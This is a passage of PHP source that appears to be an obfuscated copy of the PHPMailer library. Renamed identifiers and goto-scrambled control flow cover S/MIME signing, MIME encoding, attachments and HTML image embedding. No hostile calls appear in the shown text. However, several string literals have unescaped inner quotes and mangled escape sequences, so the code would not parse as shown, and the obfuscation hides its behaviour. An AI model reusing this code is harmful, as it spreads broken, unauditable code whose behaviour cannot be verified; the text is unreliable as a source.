O9325; O2250: $O6247 = fopen("php://temp", "rb+"); goto O2424; O1510: fwrite($O6247, $O5285); goto O5513; O4505: O2025: goto O2439; O1923: $O5285 = file_get_contents($O2298); goto O4242; O2848: if (defined("PKCS7_TEXT")) { goto O7323; } goto O6377; O9798: goto O2025; goto O4112; O9011: $O6052 = @openssl_pkcs7_sign($O6247, $O2298, "file://" . realpath($this->O6015), ["file://" . realpath($this->O8187), $this->O3614], [], PKCS7_DETACHED, $this->O9194); goto O7033; O5714: $O5285 = $O4285[1]; goto O4505; O3277: fclose($O6247); goto O7085; O4428: $O6052 = @openssl_pkcs7_sign($O6247, $O2298, "file://" . realpath($this->O6015), ["file://" . realpath($this->O8187), $this->O3614], []); goto O4275; O4242: fclose($O2298); goto O9755; O9755: $O4285 = explode(" 
 
", $O5285, 2); goto O8829; O8829: $this->O0199 .= $O4285[0] . static::$O1517 . static::$O1517; goto O5714; O4112: O8682: goto O1923; O2439: } catch (Exception $O0127) { goto O7904; O7050: if (!$this->O0454) { goto O9324; } goto O1733; O7904: $O5285 = ''; goto O7050; O4341: O9324: goto O7123; O1733: throw $O0127; goto O4341; O7123: } goto O5837; O0143: $this->o9734(); goto O5745; O8961: O1457: goto O9514; O9917: $O8475 = "us-ascii"; goto O6278; O7715: throw new Exception($this->O0266("empty_message"), self::O3720); goto O3155; O5688: $this->O8758 = $this->o9656(); goto O0598; O7254: $O3218 = static::O2669; goto O9917; O5145: if ($this->o7152()) { goto O1457; } goto O5478; O7095: O2519: goto O8191; O0077: if (!(static::O1466 == $O8522 and !$this->o1181($this->O1892))) { goto O0101; } goto O0575; O8623: $O9813 = "This is a multi-part message in MIME format." . static::$O1517; goto O8917; O5745: $O8522 = $this->O8046; goto O5750; O9514: $O5285 = ''; goto O4384; O1005: } protected function O4593($O0308, $O9128, $O8163, $O6554) { goto O8444; O0838: if (!('' == $O6554)) { goto O4604; } goto O5491; O1180: if (!(static::O2669 != $O6554)) { goto O8114; } goto O7251; O1903: if (!('' == $O8163)) { goto O0603; } goto O7800; O5803: $O0515 .= static::$O1517; goto O1180; O6722: $O0515 .= sprintf("Content-Type: %s; charset=%s", $O8163, $O9128); goto O5803; O2308: $O0515 .= $this->O3258("--" . $O0308); goto O6722; O8444: $O0515 = ''; goto O9896; O7118: O4604: goto O2308; O0935: O1279: goto O1903; O9896: if (!('' == $O9128)) { goto O1279; } goto O6036; O5902: O0603: goto O0838; O1546: $O0515 .= static::$O1517; goto O2522; O2522: return $O0515; goto O9528; O7429: O8114: goto O1546; O6036: $O9128 = $this->O0610; goto O0935; O5491: $O6554 = $this->O8046; goto O7118; O7251: $O0515 .= $this->o3698("Content-Transfer-Encoding", $O6554); goto O7429; O7800: $O8163 = $this->O5234; goto O5902; O9528: } protected function o5521($O0308) { return static::$O1517 . "--" . $O0308 . "--" . static::$O1517; } protected function o3271() { goto O1581; O8289: O1413: goto O8765; O0601: if (!$this->O9124()) { goto O1413; } goto O4023; O8090: O7983: goto O0165; O4886: O4210: goto O5986; O8765: if (!$this->O9926()) { goto O4210; } goto O4905; O6070: O2707: goto O0601; O1581: $O9999 = []; goto O3194; O6432: $O9999[] = "alt"; goto O6070; O4023: $O9999[] = "inline"; goto O8289; O4905: $O9999[] = "attach"; goto O4886; O3194: if (!$this->O2585()) { goto O2707; } goto O6432; O5986: $this->O4974 = implode("_", $O9999); goto O6716; O5001: $this->O4974 = "plain"; goto O8090; O6716: if (!('' == $this->O4974)) { goto O7983; } goto O5001; O0165: } public function o3698($O3333, $O1459) { return $O3333 . ": " . $O1459 . static::$O1517; } public function O3258($O1459) { return $O1459 . static::$O1517; } public function O2011($O4935, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "attachment") { try { goto O0309; O6218: if (!('' == $O3333)) { goto O8529; } goto O3164; O3164: $O3333 = $O6127; goto O4067; O4607: throw new Exception($this->o0266("encoding") . $O6554); goto O3776; O0309: if (!(!static::o9648($O4935) || !@is_file($O4935))) { goto O4710; } goto O9187; O5266: if (!('' == $O9999)) { goto O1945; } goto O7010; O8377: $this->O0839[] = [0 => $O4935, 1 => $O6127, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => false, 6 => $O8639, 7 => $O3333]; goto O9590; O0197: $O6127 = static::o2030($O4935, PATHINFO_BASENAME); goto O6218; O8517: if ($this->O0475($O6554)) { goto O0073; } goto O4607; O3776: O0073: goto O8377; O4549: O1945: goto O0197; O4067: O8529: goto O8517; O9187: throw new Exception($this->O0266("file_access") . $O4935, self::O3420); goto O7411; O7010: $O9999 = static::o6672($O4935); goto O4549; O7411: O4710: goto O5266; O9590: } catch (Exception $O0127) { goto O1235; O6969: O6293: goto O8044; O8044: return false; goto O2538; O4860: $this->o5093($O0127->getMessage()); goto O6281; O6281: if (!$this->O0454) { goto O6293; } goto O5237; O5237: throw $O0127; goto O6969; O1235: $this->O8188($O0127->getMessage()); goto O4860; O2538: } return true; } public function O2245() { return $this->O0839; } protected function o7408($O4908, $O0308) { goto O9236; O0667: foreach ($this->O0839 as $O0209) { goto O1407; O1236: O8624: goto O2409; O6236: if (!("inline" == $O8639 and array_key_exists($O0305, $O6286))) { goto O1052; } goto O2193; O2636: if (!empty($O2345)) { goto O2925; } goto O6371; O9259: $O8435[] = static::$O1517; goto O1211; O1791: O4728: goto O7847; O5224: goto O0328; goto O9357; O4811: return ''; goto O7994; O4312: $O9999 = $O0209[4]; goto O2891; O2234: O6505: goto O6171; O2193: goto O8624; goto O9907; O8483: $O1644 = $O0209[5]; goto O7371; O9166: $O8435[] = static::$O1517; goto O7206; O7994: O0796: goto O9259; O2279: $O6554 = $O0209[3]; goto O4312; O6235: O7039: goto O0907; O0907: $O3741 = hash("sha256", serialize($O0209)); goto O5868; O7410: O7582: goto O9204; O1877: goto O6505; goto O9670; O1211: O2863: goto O1236; O7371: if ($O1644) { goto O9149; } goto O1544; O3059: $O8435[] = sprintf("Content-Disposition: %s; filename="%s"%s", $O8639, $O2345, static::$O1517 . static::$O1517); goto O1791; O1407: if (!($O0209[6] == $O4908)) { goto O2863; } goto O4642; O2324: if ($O1644) { goto O4366; } goto O9210; O2297: O8742: goto O3059; O9357: O4017: goto O3073; O2306: $O8435[] = sprintf("Content-Transfer-Encoding: %s%s", $O6554, static::$O1517); goto O0334; O9518: O5749: goto O3754; O0334: O1594: goto O5566; O8301: O9149: goto O3582; O1480: O6193: goto O9830; O6902: $O2878[] = $O3741; goto O4425; O0916: if (!empty($O3333)) { goto O4017; } goto O7465; O5566: if (empty($O0305)) { goto O5749; } goto O5036; O5311: $O8435[] = sprintf("Content-Disposition: %s; filename=%s%s", $O8639, $O2345, static::$O1517 . static::$O1517); goto O2234; O9560: O0328: goto O7532; O4425: $O3333 = $O0209[2]; goto O2279; O3754: if (!empty($O8639)) { goto O6193; } goto O9166; O9907: O1052: goto O8160; O6498: goto O8624; goto O6806; O6171: goto O4728; goto O2297; O9210: $O8435[] = $this->o5165($O4935, $O6554); goto O8784; O2749: $O8435[] = sprintf("--%s%s", $O0308, static::$O1517); goto O0916; O7532: if (!(static::O2669 != $O6554)) { goto O1594; } goto O2306; O7465: $O8435[] = sprintf("Content-Type: %s%s", $O9999, static::$O1517); goto O5224; O1773: if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $O2345)) { goto O8742; } goto O2636; O3582: $O5086 = $O0209[0]; goto O6235; O5036: $O8435[] = sprintf("Content-ID: <%s>%s", $this->o1008($this->o3957($O0305)), static::$O1517); goto O9518; O8160: $O6286[$O0305] = true; goto O2749; O7847: O7368: goto O2324; O6806: O4577: goto O6902; O7206: goto O7368; goto O1480; O9670: O2925: goto O5311; O9519: $O4935 = ''; goto O8483; O5610: $O0305 = $O0209[7]; goto O6236; O3073: $O8435[] = sprintf("Content-Type: %s; name="%s"%s", $O9999, $this->O1008($this->O3957($O3333)), static::$O1517); goto O9560; O9204: if (!$this->O7152()) { goto O0796; } goto O4811; O8784: goto O7582; goto O4150; O1544: $O4935 = $O0209[0]; goto O6627; O4642: $O5086 = ''; goto O9519; O6627: goto O7039; goto O8301; O5868: if (!in_array($O3741, $O2878)) { goto O4577; } goto O6498; O9830: $O2345 = $this->O1008($this->o3957($O3333)); goto O1773; O2891: $O8639 = $O0209[6]; goto O5610; O6371: $O8435[] = sprintf("Content-Disposition: %s%s", $O8639, static::$O1517 . static::$O1517); goto O1877; O4150: O4366: goto O3526; O3526: $O8435[] = $this->O7916($O5086, $O6554); goto O7410; O2409: } goto O6443; O6443: O5999: goto O9143; O1447: $O2878 = []; goto O0667; O2091: $O6286 = []; goto O1447; O9143: $O8435[] = sprintf("--%s--%s", $O0308, static::$O1517); goto O6632; O6632: return implode('', $O8435); goto O3064; O9236: $O8435 = []; goto O2091; O3064: } protected function O5165($O4935, $O6554 = self::O8717) { try { goto O4045; O3167: O1037: goto O7791; O4313: $O7884 = $this->o7916($O7884, $O6554); goto O9092; O7791: $O7884 = file_get_contents($O4935); goto O3032; O7853: throw new Exception($this->O0266("file_open") . $O4935, self::O3420); goto O3167; O2209: O2687: goto O4313; O4045: if (!(!static::o9648($O4935) || !file_exists($O4935))) { goto O1037; } goto O7853; O2296: throw new Exception($this->o0266("file_open") . $O4935, self::O3420); goto O2209; O9092: return $O7884; goto O9986; O3032: if (!(false === $O7884)) { goto O2687; } goto O2296; O9986: } catch (Exception $O0127) { $this->O8188($O0127->getMessage()); return ''; } } public function o7916($O6471, $O6554 = self::O8717) { goto O0710; O2753: O3215: goto O7702; O3675: switch (strtolower($O6554)) { case static::O8717: $O3528 = chunk_split(base64_encode($O6471), static::O1812, static::$O1517); goto O3215; case static::O2669: case static::O1466: goto O8452; O8452: $O3528 = static::O8623($O6471); goto O4148; O4148: if (!(substr($O3528, -strlen(static::$O1517)) != static::$O1517)) { goto O1106; } goto O0397; O8329: O1106: goto O3876; O0397: $O3528 .= static::$O1517; goto O8329; O3876: goto O3215; goto O3320; O3320: case static::O3535: $O3528 = $O6471; goto O3215; case static::O3538: $O3528 = $this->o5141($O6471); goto O3215; default: goto O0127; O0732: goto O3215; goto O2465; O9443: if (!$this->O0454) { goto O8396; } goto O8036; O0127: $this->O8188($this->O0266("encoding") . $O6554); goto O9443; O3618: O8396: goto O0732; O8036: throw new Exception($this->o0266("encoding") . $O6554); goto O3618; O2465: } goto O2635; O7702: return $O3528; goto O9099; O0710: $O3528 = ''; goto O3675; O2635: O9600: goto O2753; O9099: } public function o1008($O6471, $O0593 = "text") { goto O5667; O8564: if ($this->o0643($O6471)) { goto O7244; } goto O1350; O4813: O9106: goto O6396; O0163: $O3528 = preg_replace("/^(.*)$/m", " =?" . $this->O0610 . "?{$O6554}?\1?=", $O3528); goto O8180; O2455: $O2587 = static::O1812 - $O5089 - 8 - strlen($this->O0610); goto O3327; O3033: $O3528 = trim(chunk_split($O3528, $O2587, " 
")); goto O0652; O5600: O4361: goto O4348; O3355: if (strlen($O6471) > $O2587) { goto O1663; } goto O6188; O0652: goto O9447; goto O7189; O7022: $O3528 = str_replace("=" . static::$O1517, " 
", trim($O3528)); goto O0163; O3327: $O3528 = $this->O6766($O6471, $O0593); goto O9281; O9304: goto O4361; goto O1367; O3135: O0878: goto O6271; O4348: return trim(static::o8623($O3528)); goto O5965; O6188: return $O6471; goto O5216; O1367: O3925: goto O6531; O5216: goto O4361; goto O4813; O0104: switch (strtolower($O0593)) { case "phrase": goto O1625; O0597: $O3528 = addcslashes($O6471, "\0..\37\177\""); goto O5122; O5500: return ""{$O3528}""; goto O9707; O6244: goto O0878; goto O0367; O9707: O1916: goto O3822; O5122: if (!($O6471 == $O3528 and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $O6471))) { goto O9089; } goto O2885; O3822: $O9474 = preg_match_all("/[^ !#-[]-~]/", $O6471, $O1779); goto O6244; O2885: return $O3528; goto O3649; O3649: O9089: goto O5500; O1625: if (preg_match("/[\200-\377]/", $O6471)) { goto O1916; } goto O0597; O0367: case "comment": $O9474 = preg_match_all("/[()"]/", $O6471, $O1779); case "text": default: $O9474 += preg_match_all("/[\000-\010\016-\037\177-\377]/", $O6471, $O1779); goto O0878; } goto O2892; O5667: $O9474 = 0; goto O0104; O6271: $O5089 = "mail" == $this->O8348 ? 13 : 0; goto O9858; O6100: $O3528 = str_replace(static::$O1517, "\xa", trim($O3528)); goto O9101; O8180: goto O4361; goto O5115; O1350: $O3528 = base64_encode($O6471); goto O1182; O1400: $O2587 = static::O1812 - $O5089 - 8 - strlen($this->O0610); goto O8564; O2892: O7626: goto O3135; O3045: $O3528 = $this->o7607($O6471, "\xa"); goto O5738; O2550: if ($O9474 > strlen($O6471) / 3) { goto O9106; } goto O1376; O9101: $O3528 = preg_replace("/^(.*)$/m", " \1", $O3528); goto O5600; O8048: $O3528 = preg_replace("/^(.*)$/m", " =?" . $this->O0610 . "?{$O6554}?\1?=", $O3528); goto O9304; O6396: $O6554 = "B"; goto O1400; O0281: $O3528 = trim(chunk_split($O6471, static::O1812, static::$O1517)); goto O3009; O9850: $O3528 = trim($this->O2471($O6471, $O2587, false)); goto O8189; O1182: $O2587 -= $O2587 % 4; goto O3033; O7189: O7244: goto O3045; O8189: if (!($O6471 == $O3528)) { goto O7327; } goto O0281; O5738: O9447: goto O8048; O6531: $O6554 = "Q"; goto O2455; O1376: if ($O9474 > 0) { goto O3925; } goto O3355; O5115: O1663: goto O9850; O9281: $O3528 = $this->O2471($O3528, $O2587, true); goto O7022; O3009: O7327: goto O6100; O9858: $O2587 = static::O1812 - $O5089; goto O2550; O5965: } public function o0643($O6471) { goto O4072; O5452: return strlen($O6471) > mb_strlen($O6471, $this->O0610); goto O3867; O8762: return false; goto O6624; O4072: if (!function_exists("mb_strlen")) { goto O8397; } goto O5452; O3867: O8397: goto O8762; O6624: } public function O1181($O2685) { return (bool) preg_match("/[\x80-\xFF]/", $O2685); } public function O7607($O6471, $O6041 = null) { goto O4852; O8352: O7952: goto O7714; O0560: ++$O3192; goto O7111; O9277: O3793: goto O2392; O7735: $O4503 = base64_encode($O4503); goto O0560; O0330: $O3192 = 0; goto O0538; O0615: $O4188 = 75 - strlen($O8525) - strlen($O0310); goto O6604; O4646: if (!(null === $O6041)) { goto O3419; } goto O0827; O7714: $O3528 .= $O4503 . $O6041; goto O6154; O5518: if (!($O8411 < $O8580)) { goto O3793; } goto O0330; O9097: $O8411 += $O3772; goto O9186; O2502: $O3528 = ''; goto O4646; O3449: $O0310 = "?="; goto O2502; O9186: goto O9120; goto O9277; O0538: O6685: goto O6153; O1832: O9120: goto O5518; O2392: return substr($O3528, 0, -strlen($O6041)); goto O4538; O6154: O8601: goto O9097; O6153: $O3772 = $O1189 - $O3192; goto O0238; O0238: $O4503 = mb_substr($O6471, $O8411, $O3772, $this->O0610); goto O7735; O7536: O3419: goto O9464; O7111: if (strlen($O4503) > $O4188) { goto O6685; } goto O8352; O9464: $O8580 = mb_strlen($O6471, $this->O0610); goto O0615; O0827: $O6041 = static::$O1517; goto O7536; O6604: $O7003 = $O8580 / strlen($O6471); goto O8306; O1399: $O8411 = 0; goto O1832; O8306: $O1189 = floor($O4188 * $O7003 * 0.75); goto O1399; O4852: $O8525 = "=?" . $this->O0610 . "?B?"; goto O3449; O4538: } public function o5141($O5086) { return static::o8623(quoted_printable_encode($O5086)); } public function O6766($O6471, $O0593 = "text") { goto O0039; O0039: $O3504 = ''; goto O6163; O1068: O8852: goto O5280; O6077: foreach (array_unique($O1779[0]) as $O4467) { $O3528 = str_replace($O4467, "=" . sprintf("%02X", ord($O4467)), $O3528); O4946: } goto O6786; O2311: return str_replace(" ", "_", $O3528); goto O4536; O0623: O1240: goto O1068; O9961: array_unshift($O1779[0], "="); goto O5364; O6163: $O3528 = str_replace([" 
", "\xa"], '', $O6471); goto O5252; O5280: $O1779 = []; goto O1519; O6786: O6889: goto O1402; O0895: unset($O1779[0][$O9819]); goto O9961; O1519: if (!preg_match_all("/[{$O3504}]/", $O3528, $O1779)) { goto O5766; } goto O2185; O2185: $O9819 = array_search("=", $O1779[0]); goto O5776; O5252: switch (strtolower($O0593)) { case "phrase": $O3504 = "^A-Za-z0-9!*+\/ -"; goto O8852; case "comment": $O3504 = "\(\)""; case "text": default: $O3504 = "\000-	\016-\037=?_\177-\377" . $O3504; goto O8852; } goto O0623; O5364: O4298: goto O6077; O5776: if (!(false !== $O9819)) { goto O4298; } goto O0895; O1402: O5766: goto O2311; O4536: } public function O1455($O5086, $O6127, $O6554 = self::O8717, $O9999 = '', $O8639 = "attachment") { try { goto O5242; O7114: O6456: goto O3752; O0223: $this->O0839[] = [0 => $O5086, 1 => $O6127, 2 => static::o2030($O6127, PATHINFO_BASENAME), 3 => $O6554, 4 => $O9999, 5 => true, 6 => $O8639, 7 => 0]; goto O7104; O0457: $O9999 = static::O6672($O6127); goto O7114; O9940: throw new Exception($this->o0266("encoding") . $O6554); goto O5109; O5109: O9756: goto O0223; O5242: if (!('' == $O9999)) { goto O6456; } goto O0457; O3752: if ($this->O0475($O6554)) { goto O9756; } goto O9940; O7104: } catch (Exception $O0127) { goto O2112; O6383: throw $O0127; goto O9174; O0891: return false; goto O7688; O5194: if (!$this->O0454) { goto O8015; } goto O6383; O9174: O8015: goto O0891; O2112: $this->O8188($O0127->getMessage()); goto O7148; O7148: $this->O5093($O0127->getMessage()); goto O5194; O7688: } return true; } public function o3695($O4935, $O0305, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "inline") { try { goto O7342; O8708: $O6127 = static::O2030($O4935, PATHINFO_BASENAME); goto O2051; O4354: $O9999 = static::o6672($O4935); goto O9493; O4307: throw new Exception($this->O0266("encoding") . $O6554); goto O5823; O9833: if (!('' == $O9999)) { goto O4219; } goto O4354; O4753: $O3333 = $O6127; goto O4108; O5259: O2813: goto O9833; O1657: throw new Exception($this->O0266("file_access") . $O4935, self::O3420); goto O5259; O3629: $this->O0839[] = [0 => $O4935, 1 => $O6127, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => false, 6 => $O8639, 7 => $O0305]; goto O9230; O5823: O8869: goto O8708; O7342: if (!(!static::O9648($O4935) || !@is_file($O4935))) { goto O2813; } goto O1657; O2051: if (!('' == $O3333)) { goto O5809; } goto O4753; O4108: O5809: goto O3629; O2581: if ($this->O0475($O6554)) { goto O8869; } goto O4307; O9493: O4219: goto O2581; O9230: } catch (Exception $O0127) { goto O4403; O1935: return false; goto O2026; O3381: throw $O0127; goto O9182; O2045: $this->o5093($O0127->getMessage()); goto O8230; O4403: $this->o8188($O0127->getMessage()); goto O2045; O9182: O2468: goto O1935; O8230: if (!$this->O0454) { goto O2468; } goto O3381; O2026: } return true; } public function o9584($O5086, $O0305, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "inline") { try { goto O6682; O6682: if (!('' == $O9999 and !empty($O3333))) { goto O7757; } goto O7029; O4975: O7757: goto O7624; O7029: $O9999 = static::o6672($O3333); goto O4975; O4715: throw new Exception($this->O0266("encoding") . $O6554); goto O3339; O3339: O6602: goto O9170; O9170: $this->O0839[] = [0 => $O5086, 1 => $O3333, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => true, 6 => $O8639, 7 => $O0305]; goto O8376; O7624: if ($this->O0475($O6554)) { goto O6602; } goto O4715; O8376: } catch (Exception $O0127) { goto O9159; O4030: if (!$this->O0454) { goto O4048; } goto O7849; O7849: throw $O0127; goto O9762; O9515: $this->o5093($O0127->getMessage()); goto O4030; O9159: $this->O8188($O0127->getMessage()); goto O9515; O8032: return false; goto O1847; O9762: O4048: goto O8032; O1847: } return true; } protected function O0475($O6554) { return in_array($O6554, [self::O2669, self::O3538, self::O8717, self::O1466, self::O3535], true); } protected function o5156($O0305) { goto O0086; O0086: foreach ($this->O0839 as $O0209) { goto O5049; O6064: return true; goto O1252; O5049: if (!("inline" == $O0209[6] and $O0305 == $O0209[7])) { goto O1175; } goto O6064; O6860: O2902: goto O8071; O1252: O1175: goto O6860; O8071: } goto O0268; O0268: O4476: goto O0890; O0890: return false; goto O4997; O4997: } public function o9124() { goto O7064; O2560: O0985: goto O1970; O1970: return false; goto O3130; O7064: foreach ($this->O0839 as $O0209) { goto O4755; O4755: if (!("inline" == $O0209[6])) { goto O3942; } goto O2415; O2415: return true; goto O2260; O7824: O7106: goto O0463; O2260: O3942: goto O7824; O0463: } goto O2560; O3130: } public function O9926() { goto O1039; O0320: return false; goto O3160; O4292: O6583: goto O0320; O1039: foreach ($this->O0839 as $O0209) { goto O1331; O3552: return true; goto O6574; O4857: O5384: goto O1822; O1331: if (!("attachment" == $O0209[6])) { goto O4333; } goto O3552; O6574: O4333: goto O4857; O1822: } goto O4292; O3160: } public function O2585() { return !empty($this->O1077); } public function O1039($O1011) { $this->O6952 = array_filter($this->O6952, function ($O7684) use($O1011) { return $O7684[0] != $O1011; }); } public function O2786() { goto O7320; O4490: $this->O1431 = []; goto O4878; O4878: $this->o1039("to"); goto O3258; O7320: foreach ($this->O1431 as $O3617) { unset($this->O8684[strtolower($O3617[0])]); O4135: } goto O0220; O0220: O8593: goto O4490; O3258: } public function O5527() { goto O9043; O9739: O4706: goto O0629; O9043: foreach ($this->O0958 as $O8184) { unset($this->O8684[strtolower($O8184[0])]); O0821: } goto O9739; O0629: $this->O0958 = []; goto O4628; O4628: $this->O1039("cc"); goto O7777; O7777: } public function o0047() { goto O9963; O6437: O8446: goto O1340; O6715: $this->O1039("bcc"); goto O3611; O9963: foreach ($this->O3390 as $O2467) { unset($this->O8684[strtolower($O2467[0])]); O9134: } goto O6437; O1340: $this->O3390 = []; goto O6715; O3611: } public function O7105() { $this->O9879 = []; $this->O0286 = []; } public function o8783() { goto O4248; O9576: $this->O6952 = []; goto O6076; O3297: $this->O8684 = []; goto O9576; O3083: $this->O0958 = []; goto O4689; O4248: $this->O1431 = []; goto O3083; O4689: $this->O3390 = []; goto O3297; O6076: } public function o1338() { $this->O0839 = []; } public function o7747() { $this->O0111 = []; } protected function o8188($O6566) { goto O4273; O2202: if (!("smtp" == $this->O8348 and null !== $this->O0303)) { goto O6821; } goto O9426; O8541: O5634: goto O8720; O7767: $this->O3627 = $O6566; goto O1842; O1557: O7531: goto O7683; O3725: $O6566 .= " SMTP code: " . $O1982["smtp_code"]; goto O1557; O9426: $O1982 = $this->O0303->O8504(); goto O7494; O4643: $O6566 .= " Detail: " . $O1982["detail"]; goto O8541; O4273: ++$this->O5087; goto O2202; O7071: $O6566 .= $this->o0266("smtp_error") . $O1982["error"]; goto O3544; O7683: if (empty($O1982["smtp_code_ex"])) { goto O2020; } goto O1437; O6470: O1503: goto O0382; O0898: O2020: goto O6470; O3544: if (empty($O1982["detail"])) { goto O5634; } goto O4643; O7494: if (empty($O1982["error"])) { goto O1503; } goto O7071; O8720: if (empty($O1982["smtp_code"])) { goto O7531; } goto O3725; O1437: $O6566 .= " Additional SMTP info: " . $O1982["smtp_code_ex"]; goto O0898; O0382: O6821: goto O7767; O1842: } public static function o0766() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function O9929() { goto O1289; O7005: $O0515 = $this->O3004; goto O9879; O2022: O5898: goto O4216; O9695: $O0515 = gethostname(); goto O1492; O1241: goto O5898; goto O7698; O4472: if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) { goto O7850; } goto O6302; O7607: $O0515 = $_SERVER["SERVER_NAME"]; goto O9782; O1324: return "localhost.localdomain"; goto O4535; O4216: if (static::o2097($O0515)) { goto O6569; } goto O1324; O2245: $O0515 = php_uname("n"); goto O2022; O6172: O0484: goto O2245; O6302: if (function_exists("gethostname") and gethostname() !== false) { goto O5644; } goto O9055; O2141: if (!empty($this->O3004)) { goto O2996; } goto O4472; O5756: O7850: goto O7607; O4535: O6569: goto O5309; O7698: O2996: goto O7005; O9879: goto O5898; goto O5756; O5309: return $O0515; goto O1319; O1289: $O0515 = ''; goto O2141; O8363: O5644: goto O9695; O9055: if (php_uname("n") !== false) { goto O0484; } goto O1241; O1492: goto O5898; goto O6172; O9782: goto O5898; goto O8363; O1319: } public static function o2097($O3954) { goto O3858; O7388: return (bool) filter_var(trim($O3954, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto O1191; O0177: if (!filter_var("http://" . $O3954, FILTER_VALIDATE_URL)) { goto O6695; } goto O6272; O1191: O6897: goto O5357; O5357: if (!is_numeric(str_replace(".", '', $O3954))) { goto O0578; } goto O4124; O4124: return (bool) filter_var($O3954, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto O0961; O4708: O6695: goto O4957; O2442: O7828: goto O0392; O0392: if (!(trim($O3954, "[]") != $O3954)) { goto O6897; } goto O7388; O6272: return true; goto O4708; O4957: return false; goto O4630; O4847: return false; goto O2442; O0961: O0578: goto O0177; O3858: if (!(empty($O3954) or !is_string($O3954) or strlen($O3954) > 256)) { goto O7828; } goto O4847; O4630: } protected function o0266($O6432) { goto O5908; O1058: if (!array_key_exists($O6432, $this->O3473)) { goto O0282; } goto O5896; O5896: if (!("smtp_connect_failed" == $O6432)) { goto O1969; } goto O5996; O3362: return $O6432; goto O8129; O6391: return $this->O3473[$O6432]; goto O8022; O5996: return $this->O3473[$O6432] . " https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting"; goto O1378; O1378: O1969: goto O6391; O5908: if (!(count($this->O3473) < 1)) { goto O3796; } goto O4713; O4713: $this->O5460("en"); goto O5367; O5367: O3796: goto O1058; O8022: O0282: goto O3362; O8129: } public function o7152() { return $this->O5087 > 0; } public function O4956($O3333, $O1459 = null) { goto O7815; O3553: $this->O0111[] = [$O3333, $O1459]; goto O8442; O8236: $this->O0111[] = explode(":", $O3333, 2); goto O7361; O7361: O3466: goto O5966; O1419: O6862: goto O8236; O8442: goto O3466; goto O1419; O7815: if (null === $O1459) { goto O6862; } goto O3553; O5966: } public function O4952() { return $this->O0111; } public function O5637($O6131, $O1358 = '', $O6292 = false) { goto O1838; O1231: O1515: goto O8751; O4437: if (!(strlen($O1358) > 1 && "/" != substr($O1358, -1))) { goto O1833; } goto O8879; O1838: preg_match_all("/(src|background)=["'](.*)["']/Ui", $O6131, $O9975); goto O3580; O1618: $this->O1077 = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$O1517; goto O7469; O7469: O5475: goto O1772; O8879: $O1358 .= "/"; goto O8019; O5124: $this->O1892 = static::O8623($O6131); goto O7199; O8751: $this->isHTML(true); goto O5124; O8019: O1833: goto O1748; O1772: return $this->O1892; goto O8370; O7199: $this->O1077 = static::O8623($this->O2116($O6131, $O6292)); goto O5199; O3580: if (!array_key_exists(2, $O9975)) { goto O1515; } goto O4437; O5199: if ($this->O2585()) { goto O5475; } goto O1618; O1748: foreach ($O9975[2] as $O2307 => $O6125) { goto O4326; O8407: $O8413 = ''; goto O1828; O1224: $O6127 = static::O2030($O6125, PATHINFO_BASENAME); goto O6912; O8990: O4200: goto O6363; O6363: if (!(!empty($O1358) and strpos($O6125, "..") === false and 0 !== strpos($O6125, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $O6125))) { goto O0390; } goto O1224; O8550: $O1358 .= "/"; goto O7207; O1330: $O0305 = hash("sha256", $O6125) . "@phpmailer.0"; goto O3178; O4211: $O5016 = rawurldecode($O4014[3]); goto O1998; O2268: $O6131 = preg_replace("/" . $O9975[1][$O2307] . "=["']" . preg_quote($O6125, "/") . "["']/Ui", $O9975[1][$O2307] . "="cid:" . $O0305 . """, $O6131); goto O9416; O7207: O7460: goto O5985; O3865: $O0305 = hash("sha256", $O5016) . "@phpmailer.0"; goto O9615; O6007: if ('' == $O4014[2]) { goto O5730; } goto O0474; O5221: O5730: goto O4211; O0474: goto O9804; goto O9429; O9632: O0390: goto O7637; O1998: O0551: goto O3865; O4912: $this->O9584($O5016, $O0305, "embed" . $O2307, static::O8717, $O4014[1]); goto O2084; O9429: goto O0551; goto O6034; O6034: O6012: goto O7840; O3394: goto O0551; goto O5221; O2084: O6389: goto O2634; O7637: O9804: goto O4058; O9615: if ($this->O5156($O0305)) { goto O6389; } goto O4912; O0360: goto O9804; goto O8990; O5457: $O8413 .= "/"; goto O7483; O7840: $O5016 = base64_decode($O4014[3]); goto O3394; O6912: $O8413 = dirname($O6125); goto O6404; O2634: $O6131 = str_replace($O9975[0][$O2307], $O9975[1][$O2307] . "="cid:" . $O0305 . """, $O6131); goto O0360; O5985: if (!(strlen($O8413) > 1 and "/" != substr($O8413, -1))) { goto O7346; } goto O5457; O7019: if (count($O4014) == 4 and static::O8717 == $O4014[2]) { goto O6012; } goto O6007; O2248: if (!$this->O3695($O1358 . $O8413 . $O6127, $O0305, $O6127, static::O8717, static::o2788((string) static::o2030($O6127, PATHINFO_EXTENSION)))) { goto O6988; } goto O2268; O3178: if (!(strlen($O1358) > 1 and "/" != substr($O1358, -1))) { goto O7460; } goto O8550; O1828: O8105: goto O1330; O4326: if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $O6125, $O4014)) { goto O4200; } goto O7019; O9416: O6988: goto O9632; O7483: O7346: goto O2248; O6404: if (!("." == $O8413)) { goto O8105; } goto O8407; O4058: } goto O5670; O5670: O2937: goto O1231; O8370: } public function O2116($O4791, $O6292 = false) { goto O9750; O9750: if (!is_callable($O6292)) { goto O8406; } goto O9153; O6251: O8406: goto O7561; O9153: return call_user_func($O6292, $O4791); goto O6251; O7561: return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $O4791))), ENT_QUOTES, $this->O0610); goto O8534; O8534: } public static function o2788($O6767 = '') { goto O0651; O5304: O2358: goto O7215; O2376: return $O9267[$O6767]; goto 